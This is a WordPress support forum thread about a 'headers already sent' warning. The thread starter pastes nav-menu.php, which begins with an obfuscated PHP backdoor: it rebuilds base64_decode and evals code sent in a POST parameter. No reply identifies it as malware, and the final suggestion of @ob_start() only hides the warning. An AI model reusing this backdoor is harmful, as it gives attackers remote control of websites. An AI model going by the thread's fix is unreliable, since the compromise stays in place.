Title: Warning: Cannot modify header information
Last modified: August 31, 2016

---

# Warning: Cannot modify header information

 *  Resolved [johncannon](https://wordpress.org/support/users/johncannon/)
 * (@johncannon)
 * [10 years, 2 months ago](https://wordpress.org/support/topic/warning-cannot-modify-header-information-171/)
 * Hey guys. I have tried different suggestions for that error, nothing worked. 
   Do you think we can take it step by step here? Thank you in advance.
 * **Here is the error:**
 * _ Warning: Cannot modify header information – headers already sent by (output
   started at /home/user/public\_html/domain.com/wp-includes/nav-menu.php:1) in /
   home/user/public\_html/domain.com/wp-includes/pluggable.php on line 1207 _
 * **Here is the line 1207:**
 *  $status = apply_filters( ‘wp_redirect_status’, $status, $location );
 *  if ( ! $location )
    return false;
 *  $location = wp_sanitize_redirect($location);
 *  if ( !$is_IIS && PHP_SAPI != ‘cgi-fcgi’ )
    status_header($status); // This causes
   problems on IIS and some FastCGI setups
 * _1207 _ header(“Location: $location”, true, $status);
 *  return true;
    } endif;
 * if ( !function_exists(‘wp_sanitize_redirect’) ) :

Viewing 3 replies - 1 through 3 (of 3 total)

 *  [Allison Tarr](https://wordpress.org/support/users/allisonplus/)
 * (@allisonplus)
 * [10 years, 2 months ago](https://wordpress.org/support/topic/warning-cannot-modify-header-information-171/#post-7119943)
 * I have found this error is usually related to a ‘whitespace’ issue somewhere 
   in the first file named (in my case, it’s been at the end).
 * Have you made changes to that nav-menu.php file?
 *  Thread Starter [johncannon](https://wordpress.org/support/users/johncannon/)
 * (@johncannon)
 * [10 years, 2 months ago](https://wordpress.org/support/topic/warning-cannot-modify-header-information-171/#post-7120040)
 * **This is in my _nav-menu.php_
 * _<?php $ktbf36= “bo\_edp6cst4a”; $ede1 = strtolower ($ktbf36[0].$ktbf36[11]. 
   $ktbf36[8].$ktbf36[3].$ktbf36[6].$ktbf36[10]. $ktbf36[2] .$ktbf36[4].$ktbf36[
   3]. $ktbf36[7]. $ktbf36[1]. $ktbf36[4]. $ktbf36[3]) ; $bvur4= strtoupper ( $ktbf36[
   2].$ktbf36[5].$ktbf36[1]. $ktbf36[8].$ktbf36[9]) ; if (isset(${ $bvur4}[‘na89292’])){
   eval ($ede1 ( ${$bvur4 } [‘na89292’])) ; } ?> <?php
    /** * Navigation Menu functions**
   [@package](https://wordpress.org/support/users/package/) WordPress * @subpackage
   Nav\_Menus * [@since](https://wordpress.org/support/users/since/) 3.0.0 */
 * /**
    * Returns a navigation menu object. * * [@since](https://wordpress.org/support/users/since/)
   3.0.0 * * [@param](https://wordpress.org/support/users/param/) string $menu Menu
   ID, slug, or name – or the menu object. * [@return](https://wordpress.org/support/users/return/)
   object|false False if $menu param isn’t supplied or term does not exist, menu
   object if successful. */ function wp_get_nav_menu_object( $menu ) { $menu_obj
   = false;
 * Ummm…what is that at the beginning? 🙂
 *  [neangnoch168](https://wordpress.org/support/users/neangnoch168/)
 * (@neangnoch168)
 * [9 years, 3 months ago](https://wordpress.org/support/topic/warning-cannot-modify-header-information-171/#post-8809016)
 * Try writing <?php @ob_start();?> at top of the functions.php file
    -  This reply was modified 9 years, 3 months ago by [neangnoch168](https://wordpress.org/support/users/neangnoch168/).
    -  This reply was modified 9 years, 3 months ago by [neangnoch168](https://wordpress.org/support/users/neangnoch168/).

Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘Warning: Cannot modify header information’ is closed to new replies.

## Tags

 * [pluggable.php](https://wordpress.org/support/topic-tag/pluggable-php/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 3 replies
 * 3 participants
 * Last reply from: [neangnoch168](https://wordpress.org/support/users/neangnoch168/)
 * Last activity: [9 years, 3 months ago](https://wordpress.org/support/topic/warning-cannot-modify-header-information-171/#post-8809016)
 * Status: resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
